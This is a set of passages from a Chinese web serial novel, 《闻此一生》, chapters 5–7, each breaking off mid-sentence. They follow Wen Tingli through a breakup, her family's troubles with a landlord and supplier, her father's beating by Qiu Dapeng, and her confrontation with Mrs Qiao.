他当场在书房顶撞起了祖父和父亲,祖父气得胸痛发作,他不得已先服软。 本想缓一缓再说,不料祖父又听说了闻亭丽母亲的事,这下反对得更激烈了,连夜叫律师到家里来拟协议:假如乔杏初不马上跟白莉芸结婚,他不但会即刻剥夺乔杏初的继承权,而且以后长房的所有人都休想从他这里继承半个子儿,令他们即刻从乔家搬出去,日后休想再插手厂里的事务。 为着父亲投资失败的事,二房和三房的长辈早对他们长房暗生不满了,平时没少在祖父面前挑拨是非,这次不过是一并发作出来。 母亲又惊又怕,把他拽到一旁:“看见了吗?为着一个闻亭丽,你非要把你父亲逼死才算完是不是?还有你妹妹,你要是连累她也分不到家产,你这做哥哥的愧不愧?!” 闻亭丽听到现在,心已凉了半截,乔杏初低头说完这番话,坐在那儿惘惘地出着神,倘若只是剥夺他的继承权,他会毫不犹豫离开乔家,但他怎么忍心连累父母和妹妹?想到此,他决绝地抹了把脸,霍然起身,走到闻亭丽面前。 “所以,你今天是来跟我告别的?”闻亭丽白着脸发问。 乔杏初异常眷恋地望着闻亭丽,心里好似有万箭穿过,他迅速拿定了主意,从怀中取出一份文书,半跪在她面前说:“亭丽,请你给我一年的时间好不好?我不爱白莉芸,这场婚姻不过是一桩利益交换,等到两家危机渡过了,我就跟她离婚,我已经用朋友的名义在香港开了两家红酒厂,一年之后足够我自立 5.第 5 章 《闻此一生》全本免费阅读 屋子里太静,双方的气息肆无忌惮地交流着,闻亭丽因为面向窗户站着,能够清楚地看见乔杏初映在玻璃上的脸庞,他的样子有些难堪,还有些愠恼。 “亭丽!” 闻亭丽不肯回头。话说到这份上,谈话没有再进行下去的必要了。 乔杏初抬手想触一触闻亭丽,自尊心又逼他收回了手,他难过地看着她:“你一定要这样曲解我的意思吗?” 闻亭丽还是不吭声,无论乔杏初怎样粉饰自己的用意,到头来伤害的都是她和白莉芸两个。 此时此刻,她心中对他只有失望。 也不知僵持了多久,乔杏初自嘲地苦笑了一下:“好,我不勉强你。” 他顿了顿,转身朝外走去,步子迈得很大,带着负气的意味。 闻亭丽始终没有回头,听见他下楼而去,脚步声渐行渐远,终于忍不住扑到床上,把头深深埋进被褥里,奇怪眼眶里干干的,连哭的冲动都没有。 不一会,楼梯传来咚咚咚的脚步声,闻德生火急火燎上楼来了,进屋后看到女儿消沉的样子,一屁股坐到身旁的凳子上:“后悔了?” 很显然,刚才他一直在楼下偷听女儿和乔杏初的对话,并且他也不打算在女儿面前掩饰这一点。 闻亭丽气得转头瞪父亲一眼。 闻德生却自顾自一拍手:“不后悔就好!刚才爹真怕你一时糊涂答应了他。这个乔杏初,叫我说什么好。乔家人那样强势,白家想必也不是省油的灯,这婚一旦结了,哪有说离就离的道理?你若真答应等他,便会年复一年地白耗下去,拖到最后,最好的结局是稀里糊涂给乔杏初做小老婆,真到了那一步,你这一生就算是完了!早断了也好,有句话叫什么来着,‘日久见人心’,平日里千好万好,遇事才能看清一个人骨子里如何,好孩子,你也别灰心。凭你这好模样,还愁日后遇不上好男人?” 闻亭丽听得心烦意乱,都这时候了还“男人”“男人”的。 “出去!让我一个人静一静行不行?” 闻德生本来还有一肚子的话要絮叨,见状,只好摆摆手:“好好,我先回屋去了。昨晚爹也是一整夜没睡,你别睡过头了,爹只给你请了一上午的假。” 闻德生一走,闻亭丽就睁开眼望着天花板。眼下最让她难过的不是与乔杏初分手这件事,而是对于自己未来的担忧。 当初母亲掏出家里的大半积蓄送她去秀德女子中学读书,无非是听说那里的学生都是达官贵人的千金,在母亲有限的认知里,嫁给品行上佳的有钱人,是当今社会一个女子最好的出路,而在秀德读书,就意味着女儿有机会认识好人家的男儿。 事实上,闻亭丽所住的衖堂里还有许多她父亲和母亲这样的夫妻,他们困在这狭窄的一方天地中,日日为一些琐碎的事情吵嘴。自小生活在这样的环境里,闻亭丽老早就明白何为“贫贱夫妻百事哀”。 所以她进学校后并未醉心功课,而是把更多的心思用在发展才艺和结交家境好的同学上。 她的努力没有白费,她如愿以偿认识了富家公子乔杏初,可那样如何?高门大户自有高门大户的盘算,即便母亲没做过妓-女,他们也绝不可能同意她进门。 闻亭丽越想越清醒,干脆下床翻起书包来。 眼看八月就要毕业,倘若不继续念大学,以她的学历只在洋行找到一个打字员之类的工作,每月薪水只有几块大洋,维持她自己一个人的开销都有些吃力,要想在社会上谋个好差事,最起码也要先考上大学再说。 只恨她过去没怎么把心思用在功课上,尤其是认识乔杏初之后,就更加有恃无恐了。如今想来,当真是一场天大的笑话!她居然傻到把自己的将来寄托到另一个人身上。 翻了半天报纸,好不容易翻到了今年沪上各大学校的招生简章,一看直叹气,凡是名气响一点的学校,招生条件无有不苛责的。 中午小桃子回来找姐姐,一进屋就看到闻亭丽坐在书桌前埋头用功。小桃子诧异地“呀”了一声。跑进来踮脚冲桌上左看右看,看清是书本没错,不禁再“呀”一声。 闻亭丽没忍住噗呲笑起来,周嫂也在门口啧啧称奇:“大小姐,今天太阳打从西边出来了?” 闻亭丽把小桃子抱到自己膝盖上,没好气地说:“怎么,我就不能偶尔用用功吗?” 小桃子在闻亭丽的怀里坐了一会,很快就不老实了,一会儿在课本上点来点去,一会儿捉着闻亭丽的手不放。 闻亭丽一概不理,只皱着眉头用功,忽听楼下传来吵架声,是闻德生的声音,吵得还挺凶。 闻亭丽心想,父亲上午一直在楼上睡觉,这会又能跟谁吵起来?该不是邱大鹏来了?忙让周嫂把小桃子带回屋里,自己怒气冲冲跑下楼去,谁知来的不是邱氏父子,而是房东刘良才。 桌上一盏茶还在冒热气,刘良才翘着二郎腿坐在柜台前的椅子上。 父亲仿佛受了很大的刺激:“刘老板,当初我租这房子就是用来开洋服店的,契约上白纸黑字写得明明白白,怎能说不租就不租了?店里东西这样多,你叫我们连夜搬到哪儿去?” “别急嘛闻老弟。”刘良才慢条斯理地喝了口茶。 闻亭丽近前笑道:“怎么,刘伯伯不肯租我们房子了么??” “咦,亭丽上午没上学啊?”刘良才换了一张笑脸,“刘伯伯也是没法子,要怪就怪我老婆的娘家兄弟,前一阵突然辞了家乡的活计带着老婆孩子来投奔我们,眼下都挤在我们那房子里,我老婆意思是把这边的房子收回去给他们住,顺便让她弟弟做点小生意。本来我是绝不同意的,架不住我老婆天天跟我吵。” 可是合同上写的租期是三年,提前解约势必要陪不少违约金,刘良才可是出了名的抠门,即便他真肯照料小舅子一家的生计,也一定会拖到租期结束再说。 闻亭丽讶笑道:“这房子一年租金是八十大洋,这下光违约金就要二十,刘伯伯不心疼这损失,我都替你心疼。您也是我们家的老熟人了,万事好商量,要不您让我们住到租期结束,这样您既不必赔违约金,我们也能慢慢寻找合适的新下处,您知道做生意最怕挪窝,冷不丁一搬,我们店里的熟客恐怕要跑掉一半,若有时间慢慢安置,也好叫客人们知道我们的新店在何处。” 闻德生面色一松,这几年他和老婆最聪明的一个决定就是送女儿念书,这番话,任是石头听了都会心软,哪知刘良才摆摆手说:“谁叫我摊上这么个倒霉大舅子呢,认赔就认赔吧,这样,看在老熟人的份上,我给你们宽限到三日,三日后你们务必给我搬走。” 说着竟从怀里取出一大包洋元:“赔约的钱我已经带来了,一共二十块现大洋。闻老弟,你数数对不对。” 这情形诡异到极点。 一直到刘良才走了,父女俩还在愕然相望。 “刘老板脑子秀逗了?”闻亭丽狐疑地说,“这一下里打外算要损失多少钱。” 闻德生黑着脸:“你听他放屁,他什么时候对他老婆娘家人这么大方过?多半是有人看中了我们这爿铺子,愿意出高价抢租过去,不然他才不认赔呢。” 他心烦意乱将那包银元揣进口袋里:“违约金都丢下了,硬赖着不搬,刘良才说不定会把巡捕房的人找来。你跟小桃子先吃饭,爹得出去寻新地方。” 闻亭丽对着父亲的背影说:“前几日我们学校一个同学说他们家有爿铺子要出租,下午到学校我问问她。” 闻国福在外头搓手笑道:“好好好,我女儿这学校念得真值,人脉比爹爹都要广了。你仔细问问你同学,只要不是太偏僻的地方,价钱好商量。” 下午闻亭丽到了学校,意外得知乔宝心一整天都没来上学,好在乔宝心是校董乔培英的孙女,旷课也不会有人多问。 上课的时候闻亭丽空前用功,双眼炯炯地盯着先生,生怕漏听一句。 下课,就去找上回那个要租房的同学,该同学名叫蒋小秋,家里是开书局的,但蒋小秋的父亲一直跟姨太太在外头的小公馆住,这事同学们都知道。 闻亭丽这一问,蒋小秋便高兴道:“太好了,我们家那房客说跑就跑了,也没提前打个招呼。你也晓得的,我爸爸最近也不怎么管我们母女的家用了,我妈昨日还在为这事发愁呢,你家要是马上租下,那是再好不过了。” 闻亭丽忙说:“那房子在何处?” 放学后,蒋家的司机开着一辆老旧的小洋车来接蒋小秋,蒋小秋拉着闻亭丽一起上车,那房子是蒋太太当年的陪嫁,坐落于派克路附近。 进屋后,闻亭丽楼上楼下看了一圈,样样都比原来的房子更好,只是一年的租金足比原来的贵了五十块大洋,委实算不上便宜,她打电话回店里商量,碰巧闻德生刚回来。 他下午也看了几处房子,可要么不适合用来做洋服店,要么地段不佳,听了女儿的形容,忙在电话里说:“那地方爹知道,你问问蒋太太,我这边要签几年的长期合同,若是一次□□齐,房租能不能再便宜点?” 蒋小秋打电话给蒋太太,蒋太太在电话里说说只要闻家签订长期租约,每年租金可以再便宜十块。 这下皆大欢喜。两个女孩坐车回“德生”洋服店交定金拟合同,奇怪闻德生不在店里,店门也关着。 闻亭丽自己到柜台后的抽屉里取了五十块大洋交给蒋小秋,蒋小秋坐下来写收条画押,两下里一交接,这房子就算是正式订下了。 闻亭丽心里落下一块大石,特地嘱咐周嫂多做了几个菜,邀蒋小秋和蒋家司机在家里吃饭,饭后两人又说了会话,蒋小秋便告辞了。 又过了一个小时闻德生才回来。 闻亭丽在柜台后温书,不提防看到父亲的脸色比白天还要差得多,只当父亲忧心房子的事,忙把那张收据拿出来:“爹你别担心了,蒋太太答应把房子租给我们了。” 闻德生嘴边露出勉强的微笑:“那就好。” 可紧接着,他又颓然坐到一边叹气:“亭丽,爹爹总觉得这事不太对劲。” 原来闻德生下午知道房子有下落了,心里一高兴,掉过头专门去了一趟顺记布料行,说自家的洋服店要搬新地方了,让顺记把早前订的料子都送到新店去。 没想到顺记的陈老板突然说布料要涨价,一算下来,每匹布的价格翻了三倍都不止,闻德生忍不住跟他理论,可巧另一家洋服店的老板带伙计去取货,陈顺给他们的价钱却还是原来那个数,闻德生当场问陈顺什么意思,陈顺却说闻国福如果继续在他们布料行进料子,日后都是这个价。 说完就自顾自躲到后头去了,接下来无论闻德生怎么闹腾都拒不露面,末了是顺记的一个老伙计看不过去,悄悄把闻德生拉到一边,问他最近是不是得罪了什么人。 听到此处,闻亭丽惊讶地睁大眼睛:“那伙计真这样说?” “若按照陈顺给的新价格来进货,用不了多久,我们的洋服店就要赔光关门了。顺记做生意一直很地道,爹爹实在想不通陈老板干吗突然刁难咱们。” 就在这时,墙上的西洋电话突然响了,却是蒋小秋打来的。 蒋小秋在那头吞吞吐吐地说:“对不起,我回家才知道,那房子……我妈妈前头已经租给别人了。” “可是晚饭前伯母还是同意的呀,她老人家还答应租金减免十块大洋。说得好好的,怎会突然——” “我妈说她只当我们是小孩子,压根没把我们的话当真。亭丽,你别生气,这事是我考虑不周,我明天就把那五十大洋退给你。” 闻亭丽还要说,脑子里闪过一个念头,把话又咽了回去。 “好,我知道了。不不不,别这样说,没事的……那就明天见。” 她懊丧地挂了电话。 闻德生脸色愈发难看起来:“什么意思?蒋太太也不肯租了吗?” 闻亭丽在屋子里来回踱了几步,忽道:“这些事会不会也太巧了些,刘老板好端端要收回房子,老熟人顺记突然要涨价,蒋太太明明说好了租金的价格却又临时反悔。您最近真没在外面得罪人吗……是不是在喝酒闹完事自己又忘了?” “哎哟。”闻国福跺脚道,“这几个月爹爹可只喝过一回酒。再说顺记也算本地的老布料行了,假如真有人要刁难爹爹,又有谁指使得动顺记?” 闻亭丽满面疑惑:“这样吧,明天我到学校先探探蒋小秋的口风,倘若蒋小秋不知道缘故,我就同她去蒋家问一问蒋太太。” “你也别太急躁,万一得罪你的小同学就不好了。”闻德生掩不住眼里的焦躁,“明日爹爹就把顺记那个老伙计请出来喝喝酒,他是顺记的老人了,说不定知道一些内情。还有,眼下最要紧是找到一处合适的房子,爹爹马上出门再找几个朋友打听打听,你们几个先睡吧。” 第二日,蒋小秋一见到闻亭丽,就把昨日那五十大洋拿出来还给她,讪讪地说:“昨天我们刚打完电话,我妈一个朋友就来我家了,刚巧那朋友也要开店,没办法,那人跟我妈是很多年的朋友了,我妈实在抹不开面子……放学你要去我们家?这几天恐怕不方便,我妈她昨天有点感冒,早上刚请了医生来家里。亭丽,对不起,改天再请你到我们家玩。” 任凭闻亭丽怎样套话,愣是没掏出半点有用的线索,说完就跑了,并且一整天都躲着闻亭丽。 这一来,闻亭丽几乎敢肯定这些事另有曲折了,可她实在想不明白最近家里得罪过什么人,最古怪的是那人简直对她家的近况了若指掌。 她因为心里惦记着调查这事,放学时第一个从学校里出来,刚出门就看到一辆熟悉的洋车,洋车上坐着一个油头粉面的年轻人,穿套簇新的白西服,头发梳得跟皮鞋一样黑亮。 “闻亭丽。”年轻人大剌剌从车上跳下来。 闻亭丽嫌恶地望着邱凌云,自从她跟乔杏初在一起,已经许久没看见这讨厌鬼了。可巧她跟乔杏初一分手,邱凌云又冒出来了。 看来她跟父亲猜的没错,上回就是邱大鹏去跟乔太太告的密! 这对下贱的父子! “哟,这不是邱家大少爷吗?”闻亭丽和颜悦色道,“令尊最近可好?” 邱凌云脚步一顿,往日他没少在闻亭丽手上吃亏,心知她看上去天真烂漫,实则泼辣有为,被一个女孩捉弄那么多次,对一个男人来说实在算不上光彩。只恨他实在舍不下她这张漂亮脸蛋,大大小小的美人他也见过不少,没一个像闻亭丽这样明艳活泼。 他心痒痒地看着她:“我爹好不好,你上我们家看看不就知道了?我知道你喜欢吃飞达的冰淇淋(注),下午他们店才送了一桶到家里来,今天这样热,你来我们家,我请你吃个够。” “飞达的冰淇淋算什么,我现在只喜欢吃爱得尔的雪露。可惜价格太昂,一般人怕是买不起。” 邱凌云最听不得别人说他不够有钱,当下便说:“你在这等着,我马上把他们店里的雪露全买下来给你吃。” 恰好秀德中学对面就有一家装修得金碧辉煌的爱得尔,邱凌云把洋车停到一边的角落里,真就跑到对面买东西去了。 闻亭丽冷冷看着邱凌云的背影,这人纠缠她不是一日两日了,除非她答应做他女朋友,否则日后不论她交什么样的男朋友,这对父子少不得会拿她母亲那段悲惨的经历来做文章。 可怜母亲当年受了那样多的苦,去世后还要被这样的小人一次次败坏,她实在是咽不下这口恶气!抬脚对着邱凌云洋车的轮胎狠狠踢了一脚,轮胎竟是纹丝不动。 她便从书包里摸出一把裁纸刀,思量着究竟从何处下手最好。最好把这四个轮子都扎瘪,看他邱凌云还怎么开着洋车来堵她。 看看左右无人,闻亭丽立即开始实施她的计划,好不容易扎瘪一个轮胎,那边忽然悄无声息开来一辆黑色的洋车。 闻亭丽赶忙把裁纸刀收起来,假装蹲在地上系鞋带。 那辆洋车擦过闻亭丽的身畔,突然又缓缓退回。 闻亭丽本就做贼心虚,忍不住抬头瞧了一眼,车里仿佛坐着一个男人,天色已晚,也看不大清楚那人的长相,但她能感觉到对方在打量她。 就听车里那人说了一句:“走吧。” 果然是个年轻男人,声音似乎含着谑笑之意,看样子他已将闻亭丽的恶作剧都瞧在了眼里。 闻亭丽故作镇定直起身,那车已经开远了,她正琢磨在何处听过这个声音,邱凌云趾高气昂提着食盒回来了。 “闻亭丽,你摸着良心说我对你好不好,只消一句话,全上海滩的点心我都给你买回来。” 闻亭丽瞧也不瞧,转身就朝马路对面走去。 “喂喂,你什么意思?” 又赔着笑脸说:“是不是等太久生气了?我给你赔个不是,别走啊。” 闻亭丽早就一溜烟跑远了。邱凌云拔腿欲追,又顾忌着食盒里的冰淇淋,情急之下只得先跳上洋车,怎知任他把油门踩到底,那车竟是死活开不动,下车一看,四个轮胎都瘪了。 邱凌云气了个倒仰:“闻亭丽,你有本事别跑!” 闻亭丽在前头啐道:“你有本事别来缠着我!不然下次还有好事等着你。” 说话间她已经跳上了电车,抓住栏杆站稳之后,便隔着车窗对着外头的邱凌云扮鬼脸。 邱凌云瞧在眼里,心里是又恨又爱,也想跟着跳上电车,只恨闻亭丽每一步都算计好了,他的洋车眼下还困在路边呢,只得悻悻然冲她喊道:“你别不识好人心,今日我可是来帮你的。” 闻亭丽心中一动,莫非家里这一连串的变故竟与邱家有关?便故意用不以为然的语气激他:“你能帮我什么忙?多半又拿瞎话在这唬人。” “你仔细想想你们家最近遇到的事,我闲得没事才跟你编瞎话。” “既然是我们家里的事,你敢不敢当面跟我爹说去?光知道来纠缠我,算什么男人。” “行,今晚我就去你家——喂,闻亭丽,你听见了吗,你最好在家等我。” 回到家里,周嫂还在厨房忙活,闻德生却已经回来好一阵了。 今日店里依旧没开张,闻亭丽进来的时候,闻德生正抱着小桃子在柜台后面拨算盘,闻亭丽看父亲满面愁容,便知白日的事不顺利,一问,父亲白赔了一顿酒,却没能从顺记的伙计口中套出什么有用的线索,只隐约知道那人来头似乎很大,连顺记都得给对方面子。 非但如此,找房子的事也处处碰壁,要么租金奇高,要么临到交定金时东家突然反悔,总之白忙活了一天。 闻亭丽忙把早上蒋小秋的话,以及自己刚才在校门口遇到邱凌云的事说了。 闻德生一听就炸:“这小子竟还敢来找你!你是说——这事跟邱大鹏有关?不对啊,邱大鹏如今是比我阔绰些,可说到底也只是一间小洋行的买办,他哪有那个本事指使顺记。” 闻亭丽没好气地放下书包:“横竖他们脸皮厚得很,今晚他们真要敢上门,当面问问他们不就知道了。” 她 6.第 6 章 《闻此一生》全本免费阅读 接完这通电话,邱大鹏脸色难看得跟死人没什么两样,仓皇回过头喝道:“快住手。” 紧接着,他便在一屋子人错愕的目光中走到闻德生身边,扑通一声跪下:“大哥,兄弟给你赔不是,兄弟马上带人滚。” 对着闻德生毕恭毕敬磕起头来。 邱凌云露出一副见鬼的表情:“爹你这是做什么?刚才是谁打电话?” “你给我闭嘴!”邱大鹏似是悔得肠子都青了,一个劲地对闻德生软声赔不是,“对不起,兄弟不是人,店里的损失该怎么赔全听大哥一句话,要不你抽兄弟几个耳光?” 闻德生早已被邱大鹏揍得面目全非,半边脸颊肿得高高的,满嘴都是鲜血,模样甚为骇人。 听到邱大鹏的这番话,他使出吃奶的劲啐了邱大鹏一脸血沫,不料喉咙里咕噜噜一阵响,竟呛出大口的鲜血来。 “爹!”闻亭丽吓得魂飞魄散,忙俯下身用帕子帮父亲擦血,可是闻德生仍在不断咯血,就连呼吸也变得断断续续。 可恨邱大鹏还在装模作样:“这、这是怎么回事?我也没跟大哥动真格啊。” 闻亭丽恨得咬牙,方才那番混战她看得真真的,邱大鹏对父亲下了死手,才几拳,拳拳正中父亲的要害,只眼下没工夫跟这小人拉扯,心急如焚起身:“车行的出租车(注)一时半会到不了,周叔叔、陈伯伯,我到街上拦一辆黄包车,麻烦你们帮忙抬一下我爹。” 邱凌云这时候也有些慌了:“爸,怎么办。” 邱大鹏眼珠转了几转,擦把汗起身:“救人要紧,快!开我们的洋车快一些。” 街上连一辆黄包车的影子都没有,闻亭丽救父心切,料着邱大鹏这当口不敢再使坏,便同父亲的两个朋友把父亲抬上邱家的洋车。 最近的一家医院是慈心医院。 这医院由上回在乔家见过那位名叫邓毅的院长所创办,历来对穷人友善。 进了医院,急诊室里全是人,一问才知道,附近白龙帮的人因为打群架送来了好些伤员,眼下急诊室的大夫们都忙着接诊,没一个抽得出空照管闻德生的。 老周和老陈急得直跺脚:“这可怎么办。” 邱大鹏这会儿早不见人影了,邱凌云还在,见状忙说:“我爹爹仿佛认识这家医院的内科主任,我去把主任找来。” 闻亭丽却径直走到年纪最长的一个洋大夫面前,附耳对他说了一句什么,那洋大夫一愣,忙带着两个护士过来探视闻德生,一看就用生硬的中国话说:“快通知手术室准备手术。” 赶去手术室的路上,老周低声问闻亭丽:“刚才你对那洋大夫说了什么,他竟这么快就肯接诊?” “我跟他说我跟他们邓院长是好朋友。”闻亭丽疾步帮忙推车,其实她跟慈心院长的邓院长不过是一面之缘,但她觉得邓院长很面善,想来即便打了她老人家的幌子,也未必会同她计较。 进了手术室,闻亭丽被告知在外头等。这一等就是大半夜,快天亮时闻德生终于被推了出来。 说来奇怪,才几个钟头不见,父亲的身躯像是缩小了一半,软绵绵地陷在雪白的床单里,脸庞浮肿而蜡黄。 “不大好。”那名叫汤普生的洋大夫直截了当说,“你父亲平日是不是爱喝酒?” “是的,不过几月前父亲就已经戒酒了,我父亲情况很糟糕么?” “你父亲有中等程度的肝硬化,本来如果好好调养是没什么问题的,可是他眼下受了严重的外伤,导致消化道在出血,你们最好有个心理准备……就凭患者目前的体质,恐怕撑不了多久了。” 闻亭丽如遭雷击。 “昨晚殴打你父亲的人是谁?这可是严重的人身伤害,需要报警。” 闻亭丽咬牙环顾四周,邱凌云大约是听说她父亲伤情危重,这会儿也早跑了,她恨声说:“我马上去巡捕房报警。” 老周忙说:“你父亲身边离不开人。老陈,要不你留下来跟亭丽照顾老闻,巡捕房那边我去吧。” 闻亭丽连生道谢,一行人护送闻德生护送至内科病房,刚把病人挪到病床上,闻德生一把拽住闻亭丽的手腕:“别让……姓邱的跑了。” “我知道,我知道。”闻亭丽恨声点头,“周叔已经去巡捕房报警了,邱大鹏他断乎跑不了。爹你好好养着,等你养好了一切好说。” 不一会老周回来了,说是巡捕房的警察稍后就来做证供。 闻亭丽守在父亲床边一步都不敢离开,好在经过一个早上的悉心救治,闻德生的状况总算平稳下来,可是这一来,各项诊疗措施堆积起来的费用就很惊人了,尽管医院主动帮忙减免了一半,但剩下的一半必须尽早缴纳。 直到这时,闻亭丽才知道邱氏父子连住院押金都未交就跑了,她唯恐耽误父亲的治疗,忙托两位叔叔照看父亲,自己火急火燎赶回家取钱。 周嫂一整晚都悬心吊胆,只因怕吓到小桃子才不敢下楼,早上起来之后看到店里一片狼藉,这会儿正急得团团转。 闻亭丽进店第一件事就是开钱柜,零零碎碎加起来一共两千大洋,想来便是家里的全部积蓄了,好在昨天父亲为了租房子临时兑换了一张大银票,带在身上毫不显眼,她心事重重将银票塞入书包里,又上楼替父亲拿些换洗的衣裳,随后便带着周嫂和小桃子赶回慈心医院。 下车后,她先买了几份粢饭糕和豆浆托周嫂去病房带给老周和老陈,自己拿着单子去账房交住院费,账房先生却说:“闻德生是伐?他的住院费已经结清了。” 闻亭丽一愕,莫不是姓邱的良心发现回来了。 账房先生却说:“听说是院长的一位朋友帮忙交的。” “请问那人是位先生还是位女士?” “我也不大清楚。”账房苦笑道,“闻小姐何不直接问问院长她老人家?” 闻亭丽纳罕地回到病房。房间里,小桃子趴在床尾默默观望父亲发呆,看了一会觉得害怕,又扭头躲回周嫂的怀里,抬头看见姐姐进来,憋了许久的眼泪终于瀑布似地喷出来。 “呜——哇。” 那嘹亮的哭声登时响彻病房。 闻亭丽忙把小桃子抱入怀中低声制止她:“小桃子别怕,爹爹平日最喜欢听你讲故事了,你悄悄在他耳边跟他说话,爹爹听了说不定会好得快些。” 这当口老陈和老周已经吃过闻亭丽带来的早饭,闻亭丽陪他们去护士站做伤口处理,侥幸二人只受了些皮外伤,闻亭丽只劝他们回家休息,好说歹说送他们到医院门口,又买了好些水果强请二人收下才算完。 刚坐定,巡捕房的警察终于来了。 “谁是闻德生?” 闻亭丽忙迎出去:“我是他女儿。” 两个警察在门口潦草地张望一眼,留在走廊里问话。 “你父亲现在伤势如何?” “伤得很重,行凶者邱大鹏就住在秋林二路,昨晚他打伤我父亲后怕担责,刚把我父亲送到医院就跑了。” 左边那个警察接话道:“过来之前我们也大致了解了一下情况,另一名当事人邱大鹏昨晚也报了警,听说他也伤得不轻,现今还在玛丽医院救治,问完你们这边,我们还得去玛丽医院看看邱大鹏的情况。对了,邱大鹏在大宝洋行谋职,那地方归属法租界,这案子未必归我们管,到时候你可能还得到法租界重新报一次案。” 闻亭丽越听越稀奇,越听越恼火,且不说邱大鹏明明只受了点皮外伤,这案子怎么就不归公共租界管了? 警察却又道:“若是另一方伤势也不轻,你们不如私底下和解。这种斗殴坊间日日都有,究竟怎么回事,也不能全听你们一面之辞。 “这怎能叫斗殴?”闻亭丽急声道,“我父亲快要死了,这是一桩人命案。昨晚行凶者邱大鹏带着保镖找上门来寻衅,不但重伤了我父亲,还把我们店里的东西砸了个稀巴烂,此事左邻右舍都可以作证,警官大人,这不是寻常斗殴,这是蓄意谋害!” 两个警察彼此互望一眼,右边那个不耐烦地说:“行了行了,你父亲的主治医生是谁,我们先去找他了解情况。” 闻亭丽将两位警察领去汤普生的办公室前,本欲留下来旁听,警察却坚决不允。 她回到病房坐了一会,再悄悄返回去看,两个警察居然已经走了。 这态度简直敷衍至极。 周嫂眼看闻亭丽回来,忙问:“怎么样?抓到那对流氓父子了吗?” 闻亭丽寒着脸摇头。 “你也别太担心,把人打成这样,警察一看就明白怎么回事。” “没那么简单。姓邱的知道自己闯了大祸,昨晚跑到玛丽医院躲起来了,这老东西脸皮厚心也黑,假如他真给自己添了新伤,说不定还会倒打一耙。” 周嫂既惊且怒:“谁给他出的这馊主意?这还有没有王法啦?” 这时床上的闻德生突然睁开眼:“小橘子……小橘子……” 闻亭丽一惊,那是她的小名,老早爹娘就不这样叫她了,她想父亲多半是糊涂了,忙上前握住他的手。 闻德生虚弱地喘气:“……爹没用,本想替你和你娘讨个公道,结果却搞成这样,可是爹、爹非这么做不可,不把脸彻底撕破,姓邱的日后还不知会使出什么下作手段逼你嫁给他儿子……假如这事警察不管,你可千万别硬来,邱大鹏这些年结识了不少三教九流……” “您放心,这事警察还没下定论,该怎样做女儿心里有数,您且安心养病。” 小桃子又哇哇哭起来,闻德生试图偏过头看小女儿,怎奈眼睛浮肿得根本睁不开,只好挤出个苍白的微笑:“小桃子不哭,爹没事,对了亭丽,你别忘记跟学堂请假。” 闻亭丽一拍脑门,她的确忘记这茬了,好在内科病房的墙上就安了一台电话,只不过仅允许医护人员使用,闻亭丽过去跟人家讲了几句好话,得到准许后立马给学校打电话。 电话是教育系的汪主任接的,她是校董之一,同时也负责监管学生们的纪律。 汪主任的语气有些不自然。 “学校正要找你呢,中午学校开会讨论,决定将你开除作为警示,你不用惊讶,假如你仅仅是迟到,或者只是旷一两节课,这事还有得商量,但你旷课了一整天,这是本 7.第 7 章 《闻此一生》全本免费阅读 这会儿天色已不早了,夕阳从玻璃窗外透进来,恰照在乔太太的侧脸上,她皮肤远比同龄人细腻饱满,但嘴角和眼角还是显出了不少憔悴的痕迹,越是光线刁钻的地方,这种憔悴感就越明显。 “乔太太平日里没少为家中的事操劳吧?”闻亭丽凝视着乔太太,“也对,听说二房和三房为了对付长房暗中使了不少劲,乔老先生早就对你们长房不满了。” 乔太太犷悍惯了,起初只冷硬地看着闻亭丽,听到最后一句话时才冷笑道:“这些话你是从哪听来的?” 闻亭丽拿起银勺舀了舀:“乔杏初自己告诉我的,他还说,这些年伯父因为投资失败已经让乔家赔了不少钱,假如他连婚事都忤逆祖父,长房日后一个子儿都分不到,所以,乔老爷和乔太太应该比谁都害怕这桩婚事成不了。” 乔太太眼角一跳:“你这是在威胁我?” 她的目光瞬间锋利得像刀:“闻小姐,明人不说暗话,听说昨晚令尊因为打架住进了医院,今日你又因为旷课被学校开除,你可能以为这已经是你能遇到的最倒霉的事了,现在不妨明明白白告诉你,假如你们还敢赖在上海不走,将来还有无穷无尽的麻烦和羞辱等着你们!” 话音未落,面前突然掉落下来一根银光闪闪的物件,乔太太戒备地向后仰头,原来是一根项链,项链底下悬着一个桃心坠子,里面是一张闻亭丽在学校舞台演出的黑白照片。 照片上,闻亭丽穿着一袭轻雾般的篷裙,那样子朦朦胧胧美得像一幅画。 闻亭丽讥诮地晃了晃手里的链条:“这项链是当初乔杏初送我的,出自欣欣百货某家法兰西首饰柜,全上海只有这一条,盒盖后面除了刻了我的名字亭丽,还刻有你儿子乔杏初的署名,假如让白莉芸在婚礼当晚看到这条项链,你猜她会不会当场明白乔杏初有多爱我?” 乔太太不怒反笑:“一个破落户的女儿,做事果然上不得台面。你以为靠这个就能破坏得了他们的婚事?” 尽管如此,她还是不动声色朝窗外射了两眼,窗外乔家的洋车旁立着两个穿黑短褂的保镖,见状冲乔太太点了点头。 闻亭丽看在眼里,讽笑道:“我劝乔太太别忙。这样的礼物我手上还有好几件,每一款都独一无二,随便一打听就能知道是乔杏初送给我的。前几天我本来打算将它们打包一起还给你儿子,托赖乔老爷和乔太太的福,一直没能抽出空来,今日来之前,我已经将它们全托付给了两位朋友,即便你们把我赶出上海,这些礼物依旧会在婚礼当晚准时送到白莉芸的手上。” “那又如何?”乔太太嗤道,“你以为白莉芸不清楚杏初曾经跟你交往过?这几日我们早已将始末缘由告诉了她,当初你是如何处心积虑接近杏初,又是如何利用宝心为你跟她哥哥搭桥,这些事情莉芸早已一清二楚,如今杏初已经幡然醒悟,宝心也再三保证日后交友会加倍谨慎,莉芸知道这件事之后非但不怪杏初,反而很同情他曾经被不三不四的女人蒙蔽过。” “是么?”闻亭丽一哂,“既然乔老爷和乔太太有恃无恐,今日为何来得这样及时?刚才又为何动念要抢这根项链?想必你们很清楚,此时任何一个风吹草动,都会让白莉芸立即改变主意不嫁乔杏初。” “姓闻的!” 盛怒之下,乔太太重重放下手里的咖啡盅,因为动作幅度太大,那暗褐色的水面立即震荡出圈圈涟漪,可仅仅失态了一瞬,她便恢复了镇定:“你小姑娘见识短,不怪你自以为是,其实对于乔家和白家这样的人家来说,婚姻从来不需要用感情来做基础,只要两个人成了亲,一切都可以在婚后慢慢培养。何况莉芸不是个冲动任性的孩子,事关两家的利益,无论此时你做出什么行径,都不可能让莉芸再改变主意。” 说完便云淡风轻地起身:“我就不该浪费时间听你瞎讲!” 